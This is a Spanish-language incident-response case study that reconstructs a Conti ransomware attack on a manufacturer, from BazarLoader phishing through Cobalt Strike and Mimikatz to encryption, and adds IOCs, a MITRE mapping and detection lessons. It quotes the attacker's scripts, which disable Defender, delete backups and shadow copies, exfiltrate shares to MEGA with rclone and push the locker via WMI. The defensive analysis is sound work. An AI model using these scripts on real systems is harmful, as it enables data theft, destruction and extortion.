AvanzadoContiCobalt StrikeBazarLoaderRcloneransomwarecredential harvestingMITRE ATT&CKincident response

Conti: De Cobalt Strike a Exfiltración y Cifrado en 72 Horas

Reconstrucción completa de un ataque Conti: acceso inicial vía BazarLoader, despliegue de Cobalt Strike, reconocimiento con ADFind, credential harvesting con Mimikatz, exfiltración con Rclone y cifrado con Conti ransomware en 72 horas. Timeline detallado, IOCs y mapeo MITRE ATT&CK.

MalwareIntel Research··14 min lectura
Serie: Casos de Uso — Parte 13

Contexto del escenario

Una empresa manufacturera con 1.800 empleados y operaciones en Europa detecta, a las 72 horas de la intrusión inicial, cifrado simultáneo en 340 endpoints y 12 servidores. La investigación forense reconstruye una cadena de ataque ejecutada con precisión quirúrgica: desde un correo electrónico con BazarLoader hasta el despliegue masivo de Conti ransomware, pasando por Cobalt Strike, ADFind, Mimikatz y Rclone.

Este caso documenta cada fase de la cadena, con los artefactos forenses reales y el timeline completo de 72 horas.

Conti: perfil operativo

Conti fue uno de los grupos de ransomware más prolíficos de 2020 a 2022, responsable de más de 1.000 ataques documentados con rescates acumulados que superaron los 180 millones de dólares. Operaba como un negocio estructurado con departamentos de desarrollo, negociación, recursos humanos y soporte técnico.

Los leaks internos de Conti (febrero 2022) revelaron:

  • Estructura empresarial: más de 100 miembros con roles definidos
  • Manuales operativos: guías paso a paso para cada fase del ataque
  • Herramientas estándar: BazarLoader/TrickBot (acceso), Cobalt Strike (C2), ADFind (reconocimiento), Mimikatz (credenciales), Rclone (exfiltración), Conti locker (cifrado)
  • SLA de soporte: respuesta a víctimas en menos de 24 horas
  • Cadencia típica: de acceso inicial a cifrado en 2 a 5 días

Hora 0: Acceso inicial con BazarLoader

El correo de phishing

From: invoice-notification@[SPOOFED_DOMAIN].com
To: [email protected]
Subject: RE: Pending Invoice #INV-2026-0847
Date: Lunes 09:14 UTC

Body:
"Please review the attached invoice and confirm receipt.
Payment is due within 30 days."

Attachment: Invoice_INV-2026-0847.iso (1.2 MB)

El archivo .iso contenía:

Invoice_INV-2026-0847.iso
├── Invoice.lnk         (acceso directo malicioso, 2 KB)
└── documents.dll       (BazarLoader, 856 KB, hidden attribute)

Ejecución de BazarLoader

El usuario de contabilidad abrió el archivo ISO (montado automáticamente por Windows) y ejecutó Invoice.lnk, que contenía:

Target: C:\Windows\System32\rundll32.exe documents.dll,EnterDll

BazarLoader se ejecutó en el contexto del usuario y estableció comunicación con su C2:

# Tráfico de red capturado
09:14:32  TCP  WS-ACCT-012 → 91.227.14[.]x:443  TLS (C2 BazarLoader)
09:14:33  TCP  WS-ACCT-012 → 91.227.14[.]x:443  POST /api/v2/check
09:14:35  TCP  WS-ACCT-012 → 91.227.14[.]x:443  GET /api/v2/download

BazarLoader descargó y ejecutó el payload de segunda etapa: un Cobalt Strike Beacon.

Artefactos forenses (Hora 0)

Proceso padre: rundll32.exe (PID 4892)
  Línea de comando: rundll32.exe documents.dll,EnterDll
  Proceso hijo: cmd.exe → powershell.exe
    Descarga Cobalt Strike stager

Persistencia BazarLoader:
  HKCU\Software\Microsoft\Windows\CurrentVersion\Run
    "WindowsUpdate" = "rundll32.exe C:\Users\[USER]\AppData\Local\Temp\documents.dll,EnterDll"

Archivo descargado:
  C:\Users\[USER]\AppData\Local\Temp\update.exe (Cobalt Strike stager)
  SHA256: 3f8a2b1c...d4e5f6a7

Hora 1 a 8: Cobalt Strike Beacon y reconocimiento

Despliegue del Beacon

El stager de Cobalt Strike descargó el Beacon completo y lo inyectó en un proceso legítimo:

# Sysmon Event ID 8 - CreateRemoteThread
SourceImage: C:\Users\[USER]\AppData\Local\Temp\update.exe
TargetImage: C:\Windows\System32\svchost.exe (PID 7324)
StartAddress: 0x00007FF8A1B20000

Configuración del Beacon extraída de la memoria:

BeaconType: HTTPS
C2 Server: cdn-static.analytics-update[.]com
C2 Port: 443
Polling: 60s
Jitter: 37%
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Watermark: 1234567890
Named Pipe: \\.\pipe\MSSE-1234-server
Spawn To x64: %windir%\sysnative\dllhost.exe
Spawn To x86: %windir%\syswow64\dllhost.exe

Reconocimiento de Active Directory

A las 2 horas del acceso inicial, el atacante comenzó el reconocimiento:

# Ejecución detectada por Sysmon Event ID 1
11:22:15  ADFind.exe -default -f "(objectcategory=organizationalUnit)"
11:22:18  ADFind.exe -default -f "(objectcategory=computer)" > computers.txt
11:22:21  ADFind.exe -default -f "(&(objectCategory=person)(objectClass=user))" > users.txt
11:22:24  ADFind.exe -subnets -f "(objectCategory=subnet)" > subnets.txt
11:23:01  net group "Domain Admins" /domain > domadmins.txt
11:23:05  nltest /dclist:CORP.LOCAL > dclist.txt
11:23:08  ipconfig /all > ipconfig.txt
11:23:10  systeminfo > sysinfo.txt

Reconocimiento de red

# Escaneo de puertos internos detectado por el IDS
11:45:00-12:15:00  TCP SYN scan desde WS-ACCT-012
  Puertos escaneados: 445, 3389, 5985, 5986
  Hosts alcanzados: 847 (subred 10.10.0.0/16)
  Hosts con 445 abierto: 623
  Hosts con 3389 abierto: 412
  Hosts con 5985 abierto: 89 (WinRM)

Hora 8 a 24: Escalado de privilegios y credential harvesting

Mimikatz para credenciales locales

El atacante desplegó Mimikatz en la estación comprometida para extraer credenciales de la memoria:

# Actividad detectada vía Sysmon Event ID 10 (Process Access)
SourceImage: C:\Users\Public\m64.exe
TargetImage: C:\Windows\System32\lsass.exe
GrantedAccess: 0x1010 (PROCESS_QUERY_LIMITED_INFORMATION + PROCESS_VM_READ)

Credenciales obtenidas (reconstruidas desde el análisis forense):

# Credenciales extraídas por Mimikatz
Authentication Id: 0;999999
  User Name: admin.backup
  Domain: CORP
  NTLM: aad3b435...5404ee (hash)
  
Authentication Id: 0;888888
  User Name: svc-sql
  Domain: CORP
  NTLM: e19ccf75...a1b2c3 (hash)

La cuenta admin.backup era miembro de Domain Admins, lo que proporcionó al atacante control total sobre el dominio.

DCSync para el hash de krbtgt

Con credenciales de Domain Admin, el atacante ejecutó DCSync para obtener el hash de la cuenta krbtgt:

# Detectado por regla de monitorización de replicación DC
Event ID: 4662 (Active Directory object accessed)
  Account: CORP\admin.backup
  Object Type: Domain-DNS
  Access: DS-Replication-Get-Changes-All
  Source IP: 10.10.5.12 (WS-ACCT-012, NO es un DC)

Este evento es un indicador crítico: la replicación de directorio desde un host que no es controlador de dominio es casi siempre maliciosa.

Hora 24 a 48: Movimiento lateral masivo

Despliegue de Cobalt Strike en servidores clave

El atacante utilizó las credenciales de Domain Admin para desplegar Beacons adicionales:

# Timeline de movimiento lateral reconstruido
Hora 24: PsExec → DC-01 (Domain Controller primario)
Hora 25: PsExec → DC-02 (Domain Controller secundario)
Hora 26: WMI → DB-SQL-01 (SQL Server producción)
Hora 26: WMI → DB-SQL-02 (SQL Server réplica)
Hora 27: PsExec → FS-CORP-01 (File Server principal)
Hora 27: PsExec → FS-CORP-02 (File Server backup)
Hora 28: SMB → APP-ERP-01 (Servidor ERP)
Hora 29: WMI → BACKUP-01 (Servidor de backup Veeam)

Técnica de despliegue PsExec

# Comando PsExec capturado en logs
PsExec.exe \\DC-01 -u CORP\admin.backup -p [REDACTED]
  -c C:\Users\Public\beacon_svc.exe -s -d
  
# El flag -s ejecuta como SYSTEM
# El flag -d no espera a que termine (detach)

Deshabilitación de defensas

En cada servidor comprometido, el atacante deshabilitó protecciones:

# Script batch encontrado en C:\Users\Public\disable_av.bat
sc stop "WinDefend"
sc config "WinDefend" start=disabled
sc stop "Sense" 
sc config "Sense" start=disabled
Set-MpPreference -DisableRealtimeMonitoring $true
netsh advfirewall set allprofiles state off
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f

Eliminación de backups

El atacante dedicó esfuerzo específico a destruir los backups:

# Detectado en logs del servidor BACKUP-01
# Eliminación de snapshots de Veeam
Get-VBRBackup | Remove-VBRBackup -Confirm:$false

# Eliminación de shadow copies
vssadmin delete shadows /all /quiet
wmic shadowcopy delete

# Deshabilitación de recovery
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures

Hora 48 a 66: Exfiltración con Rclone

Configuración de Rclone

El atacante desplegó Rclone en el file server principal con una configuración preconfigurada:

# C:\Users\Public\rclone.conf
[megadrive]
type = mega
user = corp_dump_2026@proton[.]me
pass = [ENCRYPTED_BY_RCLONE]

[gdrive]
type = drive
client_id = [REDACTED]
client_secret = [REDACTED]
token = {"access_token":"[REDACTED]"}

Ejecución de la exfiltración

# Script de exfiltración encontrado en C:\Users\Public\exfil.bat
@echo off
echo [%date% %time%] Starting exfiltration >> C:\Users\Public\exfil.log

rclone copy "\\FS-CORP-01\Finance" megadrive:dump/finance ^
  --bwlimit 100M --transfers 4 --log-level ERROR ^
  --log-file C:\Users\Public\exfil.log

rclone copy "\\FS-CORP-01\HR" megadrive:dump/hr ^
  --bwlimit 100M --transfers 4 --log-level ERROR ^
  --log-file C:\Users\Public\exfil.log

rclone copy "\\FS-CORP-01\Engineering" megadrive:dump/eng ^
  --bwlimit 100M --transfers 4 --log-level ERROR ^
  --log-file C:\Users\Public\exfil.log

rclone copy "\\FS-CORP-01\Legal" megadrive:dump/legal ^
  --bwlimit 100M --transfers 4 --log-level ERROR ^
  --log-file C:\Users\Public\exfil.log

echo [%date% %time%] Exfiltration complete >> C:\Users\Public\exfil.log

Volumen exfiltrado

# Análisis de tráfico de red (NetFlow)
Hora 48-66 (18 horas)
  Origen: FS-CORP-01 (10.10.3.10)
  Destino: MEGA endpoints (*.mega.nz)
  Volumen total: 520 GB
  Velocidad media: 8 GB/hora
  Protocolo: HTTPS (443)

La exfiltración no fue detectada porque:

  • El volumen se distribuyó en 18 horas, manteniendo un flujo moderado
  • El destino (MEGA) no estaba bloqueado en el proxy corporativo
  • No existían umbrales de alerta por volumen de tráfico saliente
  • El tráfico era HTTPS, invisible para la inspección de contenido

Hora 66 a 72: Despliegue de Conti ransomware

Preparación del despliegue

El atacante preparó el despliegue masivo del ransomware usando las herramientas ya instaladas:

# Script de distribución encontrado en DC-01
# C:\Users\Public\deploy_locker.bat
@echo off
set LOCKER=C:\Users\Public\locker64.exe
set SHARE=\\DC-01\SYSVOL\CORP.LOCAL\scripts\locker64.exe

copy %LOCKER% %SHARE%

for /f %%i in (C:\Users\Public\targets.txt) do (
    echo Deploying to %%i
    copy %SHARE% \\%%i\C$\Windows\Temp\locker64.exe
    wmic /node:%%i process call create "C:\Windows\Temp\locker64.exe --encrypt-mode=all --encryption-threads=16"
)

El archivo targets.txt contenía 352 hosts (340 estaciones + 12 servidores).

Propiedades del payload Conti

Nombre: locker64.exe
SHA256: 8b5e1c2d...f3a4b5c6
Tamaño: 1.8 MB
Tipo: PE64, C++
Cifrado: ChaCha20 (archivos) + RSA-4096 (clave ChaCha)
Extensión cifrada: .QTBHS
Nota de rescate: readme.txt
Hilos de cifrado: 16 (configurable)

Ejecución y cifrado

# Timeline del cifrado (reconstruido de logs EDR)
Hora 70:00 - locker64.exe desplegado en 352 hosts vía WMI/SMB
Hora 70:02 - Primeros procesos de cifrado iniciados
Hora 70:05 - Servicios SQL, Exchange, Veeam terminados
Hora 70:10 - Shadow copies eliminadas
Hora 70:15 - Cifrado activo en todos los hosts alcanzados
Hora 72:00 - Cifrado completado en ~95% de los hosts
              340 estaciones + 12 servidores afectados
              ~4.2 TB de datos cifrados

Nota de rescate

All of your files are currently encrypted by CONTI ransomware.
If you try to use any additional recovery software - the files
might be damaged or lost.

To make sure that we REALLY CAN recover data - we offer you to
decrypt 2 files for free.

You can contact our team directly for further instructions through
our website:

TOR: http://contirecj4hbzmyzuydyzrvm2c65blmvhoj[...]onion

YOU SHOULD BE AWARE!
Just in case, if you try to ignore us. We've downloaded your data
and are ready to publish it on our news website if you do not respond.
So it will be better for both sides if you contact us ASAP.

YOUR ID: [UNIQUE_VICTIM_ID]

Timeline completo de 72 horas

HORA  0 (Lun 09:14) ── Phishing email abierto, BazarLoader ejecutado
HORA  0 (Lun 09:15) ── C2 BazarLoader establecido
HORA  1 (Lun 10:14) ── Cobalt Strike Beacon desplegado e inyectado
HORA  2 (Lun 11:22) ── Reconocimiento AD con ADFind
HORA  3 (Lun 11:45) ── Escaneo de puertos internos
HORA  8 (Lun 17:14) ── Mimikatz ejecutado, credenciales Domain Admin
HORA 10 (Lun 19:14) ── DCSync para hash krbtgt
HORA 24 (Mar 09:14) ── Movimiento lateral a DC-01, DC-02
HORA 26 (Mar 11:14) ── Movimiento lateral a DB-SQL-01, DB-SQL-02
HORA 27 (Mar 12:14) ── Movimiento lateral a file servers
HORA 29 (Mar 14:14) ── Compromiso del servidor de backup
HORA 30 (Mar 15:14) ── Deshabilitación de defensas en 12 servidores
HORA 32 (Mar 17:14) ── Eliminación de backups y shadow copies
HORA 48 (Mié 09:14) ── Inicio de exfiltración con Rclone (520 GB)
HORA 66 (Jue 03:14) ── Exfiltración completada
HORA 70 (Jue 07:14) ── Despliegue masivo de Conti locker
HORA 72 (Jue 09:14) ── Cifrado completado, nota de rescate visible

Respuesta al incidente

Detección (Hora 72)

La detección se produjo cuando los usuarios comenzaron a reportar archivos inaccesibles al inicio de la jornada laboral del jueves.

08:45 UTC - Primer ticket de soporte: "No puedo abrir mis archivos"
08:52 UTC - Segundo ticket con captura de pantalla de nota de rescate
08:55 UTC - SOC N1 escala a N2: confirmación de ransomware
09:00 UTC - Activación del plan de respuesta a incidentes
09:15 UTC - Aislamiento de red: desconexión de Internet y segmentación

Contención

  1. Desconexión de Internet completa
  2. Aislamiento de VLANs afectadas
  3. Apagado de servidores no cifrados para preservar evidencia
  4. Revocación masiva de credenciales (reset de todas las contraseñas de AD)
  5. Reset doble de krbtgt para invalidar Golden Tickets potenciales

Investigación forense

La reconstrucción del timeline se basó en:

  • Logs de Sysmon (Event IDs 1, 3, 7, 8, 10, 17, 18)
  • Logs de Windows Security (Event IDs 4624, 4662, 4688, 4698, 4720)
  • Logs de firewall y proxy (NetFlow, URLs visitadas)
  • Logs de IIS y Exchange
  • Imágenes de memoria de hosts clave (Volatility)
  • Artefactos en disco (prefetch, amcache, shimcache, $MFT)

Recuperación

La empresa tenía backups offline (cinta) con una antigüedad de 5 días. La restauración siguió esta prioridad:

  1. Día 1-3: Domain Controllers reconstruidos desde cero
  2. Día 3-5: Servidores de correo y ERP
  3. Día 5-7: File servers desde backup de cinta
  4. Día 7-14: Estaciones de trabajo reimaginadas
  5. Día 14-21: Verificación y normalización completa

IOCs del incidente

Hashes (SHA256)

3f8a2b1c...d4e5f6a7    BazarLoader (documents.dll)
8b5e1c2d...f3a4b5c6    Conti locker (locker64.exe)
a7b8c9d0...e1f2a3b4    Cobalt Strike Beacon (update.exe)
c5d6e7f8...a9b0c1d2    ADFind.exe
d3e4f5a6...b7c8d9e0    Mimikatz (m64.exe)
f1a2b3c4...d5e6f7a8    Rclone (rclone.exe)

IPs de C2

91.227.14[.]x          BazarLoader C2
cdn-static.analytics-update[.]com    Cobalt Strike C2
185.141.63[.]x         Cobalt Strike C2 (IP)
194.147.142[.]x        C2 secundario

Named Pipes (Cobalt Strike)

\\.\pipe\MSSE-1234-server
\\.\pipe\msagent_12

Artefactos en disco

C:\Users\Public\m64.exe              Mimikatz
C:\Users\Public\beacon_svc.exe       Cobalt Strike service
C:\Users\Public\rclone.exe           Rclone
C:\Users\Public\rclone.conf          Configuración MEGA
C:\Users\Public\exfil.bat            Script de exfiltración
C:\Users\Public\deploy_locker.bat    Script de despliegue
C:\Users\Public\targets.txt          Lista de hosts objetivo
C:\Users\Public\disable_av.bat       Script anti-AV
readme.txt                           Nota de rescate Conti
*.QTBHS                              Extensión de cifrado

Mapeo MITRE ATT&CK

TácticaTécnicaIDDetalle
Initial AccessPhishing: Spearphishing AttachmentT1566.001ISO con LNK + DLL (BazarLoader)
ExecutionUser Execution: Malicious FileT1204.002Usuario abre LNK en ISO
ExecutionSystem Services: Service ExecutionT1569.002PsExec para despliegue lateral
PersistenceBoot or Logon Autostart: Registry Run KeysT1547.001BazarLoader en Run key
Defense EvasionImpair Defenses: Disable or Modify ToolsT1562.001Deshabilitación de Windows Defender y EDR
Credential AccessOS Credential Dumping: LSASS MemoryT1003.001Mimikatz en LSASS
Credential AccessOS Credential Dumping: DCSyncT1003.006DCSync para krbtgt
DiscoveryDomain Trust DiscoveryT1482ADFind + nltest
Lateral MovementRemote Services: SMB/Windows Admin SharesT1021.002PsExec + SMB para despliegue
CollectionArchive Collected DataT1560No archivado (exfil directo)
ExfiltrationExfiltration Over Web Service: Cloud StorageT1567.002Rclone a MEGA (520 GB)
ImpactData Encrypted for ImpactT1486Conti locker (ChaCha20 + RSA-4096)
ImpactInhibit System RecoveryT1490Eliminación de backups y shadow copies

Detección: oportunidades perdidas

El análisis post-mortem identificó 8 oportunidades de detección que, de haberse aprovechado, habrían detenido el ataque:

HoraOportunidadPor qué no se detectó
0ISO con DLL oculta en correoGateway de correo no inspeccionaba ISOs
1Inyección en svchost.exeSysmon no monitorizaba CreateRemoteThread
2Ejecución de ADFind.exeNo había regla para detección de ADFind
8Acceso a LSASS desde proceso no estándarRegla de Sysmon EID 10 no configurada
10DCSync desde host no-DCEvent ID 4662 no monitorizaba replicación
30Deshabilitación de Windows DefenderSin alerta por servicio de seguridad detenido
48Tráfico masivo saliente hacia MEGASin umbrales de volumen en proxy
70WMI masivo hacia 352 hostsSin correlación de eventos WMI en SIEM

Cada una de estas oportunidades representa un control que, implementado correctamente, habría detenido la cadena de ataque. La defensa en profundidad depende de tener múltiples capas de detección, no de una sola.

Lecciones aprendidas

  1. Monitorización de LSASS: implementar reglas de Sysmon Event ID 10 para accesos a lsass.exe desde procesos no autorizados
  2. Detección de reconocimiento AD: alertas para ejecución de ADFind, BloodHound, SharpHound
  3. DCSync detection: correlación de Event ID 4662 con replicación desde hosts no-DC
  4. Umbrales de tráfico saliente: alertas por volumen anómalo hacia servicios cloud
  5. Filtrado de archivos en correo: bloqueo de ISOs, IMGs y otros contenedores en el gateway
  6. Backups inmutables: backups que no puedan ser eliminados ni por Domain Admin
  7. Segmentación de backups: la red de backup debe ser independiente del dominio
  8. Velocidad de detección: cada hora cuenta; 72 horas es tiempo suficiente para detectar múltiples fases del ataque

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.